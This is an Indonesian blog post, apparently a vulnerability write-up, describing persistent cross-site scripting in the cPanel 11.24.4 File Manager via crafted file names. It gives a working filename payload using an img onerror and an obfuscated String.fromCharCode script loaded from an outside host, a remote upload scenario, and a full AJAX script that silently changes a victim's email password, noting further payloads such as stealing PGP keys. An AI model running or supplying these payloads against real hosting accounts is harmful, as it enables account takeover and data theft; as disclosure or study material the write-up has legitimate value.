Cpanel adalah aplikasi pengelolaan
hosting yang sangat vital karena dengan aplikasi ini seseorang bisa
mengelola semua hal yang terkait dengan hosting antara lain website,
email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak
lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang
berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah
satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting)
pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang
login dalam cpanel, kemudian menjalankan script dengan hak yang sama
dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel
versi 11.24.4-CURRENT, diuji coba dengan browser Firefox 3.0.7.
Sekilas tentang CPanel File Manager
Cpanel terdiri dari berbagai macam
aplikasi, salah satunya adalah file manager, yang berfungsi untuk
mengelola file dalam account hosting. Dengan file manager, seorang
pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu
“File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada
soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih
sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari
sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress,
ekstrak pada versi modernnya.
Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan
terhadap serangan XSS. File manager cpanel tidak memfilter nama file
yang ditampilkan di web sehingga attacker bisa menginjeksi script atau
kode html dengan cara membuat file dengan nama yang mengandung kode
html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih
berbahaya karena hanya dengan melihat nama filenya saja malicious code
yang dikirimkan attacker akan dieksekusi browser. Dalam file manager
yang standard, cpanel berhasil memfilter karakter berbahaya dari nama
file sehingga malicious code tidak dieksekusi dalam halaman daftar
file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy,
move, code/html editor,compress, change permission. Agar malicious code
attacker dieksekusi browser, korban harus memilih file tersebut dengan
checkbox, kemudian melakukan salah satu diantara:
delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya
pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa
lagi selain melihat daftar file dalam suatu folder. Oleh karena itu
dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke
Legacy File Manager namun dengan exploit yang bisa bekerja di kedua
jenis file manager.
Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM
menampilkan nama file dalam daftar file di web. Gambar di bawah ini
menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
Ada dua file yang saya jadikan contoh di atas, yaitu:
"><img src=notexist.jpg> filenametestonly
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
- Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter > agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
- Bila nama file mengandung karakter double quote ("), maka akan diawali dengan backslash menjadi \". Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
- Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh
sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini
menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan
mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256
karakter. Karakter yang terlarang digunakan salah satunya adalah slash
(/). Oleh karena itu attacker harus bisa membuat serangan dengan nama
file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter
slash.
Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
- Panjang maksimum 256 karakter.
- Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya
mengandalkan 256 karakter saja, attacker harus membuat browser me-load
external script. Sayangnya penggunaan tag script tidak dimungkinkan
karena tag ini menuntut digunakannya tag </script> yang
mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
- Menginjeksi javascript dalam tag img
- Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini
sifatnya tunggal, tidak perlu ditutup dengan tag </img>.
Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun
ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan
script dalam atribut onError, yang artinya bila image dalam tag img ini
gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan
cara ini maka agar script dalam onError selalu dieksekusi, maka saya
harus membuat image selalu gagal diload. Itu mudah saya hanya perlu
mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya
script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet
Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara
menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi
script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga
minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan
dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam
nama file, melainkan ditulis oleh javascript dalam tag img dengan
fungsi document.write(). Fungsi document.write meminta masukan berupa
string, yang nantinya akan kita isi dengan tag script. Karena
masukannya berupa string, maka saya bisa pakai fungsi
String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan
adalah: http://ilmuhacking.com/x.js . Sehingga script dalam tag img
harus membuat tag berikut dengan fungsi document.write():
<script src=http://ilmuhacking.com/x.js></script>
Javascript untuk membuat tag script dengan url seperti di atas adalah:
document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))
Deretan angka pada fungi String.fromCharCode adalah
kode ASCII dari masing-masing karakter dari script tag yang akan meload
external script. Javascript tersebut harus dimasukkan ke dalam atribut
onError dari tag img. Jadi tag img yang akan dipakai untuk meload
external javascript adalah berikut ini:
<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
Sebelumnya sudah saya jelaskan bahwa nama file
ditampilkan dalam source htmlnya sebagai bagian dari tag lain.
Contohnya adalah tag berikut:
<a href="selfile.html?dir=/home&file=cpbackup-exclude.conf" target="filewindow">
Bila attacker memasukkan tag img, yang terjadi adalah:
<a href="selfile.html?dir=/home&file=<img src='image.jpg'>" target="filewindow">
Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut
href dari tag A sehingga browser tidak menganggap ada tag image. Agar
attacker bisa menginjeksi tag img dengan benar, maka tag A yang
melingkupi harus ditutup dulu. Cara menutupnya adalah dengan
menambahkan dua karakter: “>
Gambar di atas adalah penjelasan mengapa diperlukan
double quote dan > di awal. Dalam gambar diberikan 3 contoh, dari
nama file yang normal, kemudian nama file dengan tag img, dan terakhir
diawali dengan double quote dan greater than (“>). Nama file tanpa
diawali “> akan menjadi bagian dari atribut href dari tag A, namun
bila diawali dengan “> maka karakter sesudah 2 karakter itu sudah
bukan bagian dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan
dijadikan serangan harus diawali dengan “> sehingga nama file akhir
yang harus dibuat untuk melakukan serangan adalah:
"><img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99,111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>
Dalam gambar di atas saya menunjukkan cara membuat
file dengan nama yang mengandung tag img dari console Linux. Membuat
file bisa juga dilakukan dengan upload file bila di web tersebut
memberikan kebebasan penggunanya untuk upload misal untuk gambar profil
atau album foto. Setelah file yang namanya mengandung exploit xss
dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat
daftar file dalam folder tempat exploit xss berada, maka script
attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna
berbuat sesuatu lagi.
Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard
file manager. Hanya saja bedanya script yang diinjeksi attacker hanya
bisa dieksekusi bila korban memilih file tersebut lalu melakukan:
delete,edit,rename,copy,move,compress,change permission. Bila korban
memakai standard file manager, kemungkinan code dieksekusi tidak
sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file
manager seperti pada gambar berikut:
Memang file list tidak vulnerable, namun bila korban
memilih file tersebut, kemudian memilih salah satu diantara:
delete,copy,move,rename,change permission,compress, maka script akan
dieksekusi seperti pada gambar berikut:
Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa
dilancarkan secara lokal, setidaknya harus memiliki akses membuat file.
Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu
skenario yang mungkin adalah:
Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi.
Example Payload: Changing Victim Email Address
Setelah berhasil membuat browser mengeksekusi
remote script, kini saya bebas mengisi script dengan apa pun yang saya
inginkan. Dalam artikel ini saya akan memberi contoh script untuk
mengubah password email korban dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan
current password, pengguna hanya perlu memasukkan password baru saja.
Oleh karena itu saya bisa membuat script yang melakukan submit form
tersebut. Script untuk mengubah password email korban adalah:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | var http_request = false; function makePOSTRequest(url, parameters) { http_request = false; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type //http_request.overrideMimeType('text/xml'); http_request.overrideMimeType('text/html'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; http_request.open('POST', url, true); http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http_request.setRequestHeader("Content-length", parameters.length); http_request.setRequestHeader("Connection", "close"); http_request.send(parameters); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { //alert(http_request.responseText); result = http_request.responseText; alert(result); } else { alert('There was a problem with the request.'); } } } var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") + "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testing") + "&domain=" + encodeURI("ilmuhacking.com" ); makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr); |
Script di atas melakukan POST request dengan fungsi
AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST
data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara
lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang
bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan
exploit script xss.
Thanks for reading & sharing KEPOIN IT
0 comments:
Post a Comment